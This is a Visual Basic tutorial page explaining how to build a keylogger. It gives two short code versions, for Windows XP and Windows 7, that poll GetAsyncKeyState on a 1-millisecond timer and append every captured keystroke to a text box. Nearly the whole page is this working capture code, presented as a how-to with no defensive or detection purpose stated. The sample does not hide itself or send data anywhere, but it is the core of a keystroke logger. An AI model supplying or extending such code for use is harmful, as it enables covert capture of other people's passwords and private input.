Visual Basic 2008 / 2010 Tutorials
www.reflectionforbrain.com

 

Back | Index

How to make a Key logger (Record Keyboard Inputs)

**The following code was tested on Windows Xp 

Requirements: a Form, 1 TextBoxes and a Timer.

Set Timer Enabled Property to True and change it's interval to 1

Add the following declarations:
 

Public Class Form1

Dim key As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Timer_Tick event:

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255

key = 0

key = GetAsyncKeyState(i)

If key = -32767 Then

TextBox1.Text = TextBox1.Text + Chr(i)

End If

Next i

End Sub

**The following code was tested on Windows 7

Imports System.Runtime.InteropServices
Public
Class Form1
   
Dim key As Integer
   
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As System.Windows.Forms.Keys) As Short
   
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
       
For i = 1 To 255
           
key = 0
           
key = GetAsyncKeyState(i)
           
If key = -32767 Then
               
TextBox1.Text &= Chr(i)
           
End If
       
Next i
   
End Sub

End
Class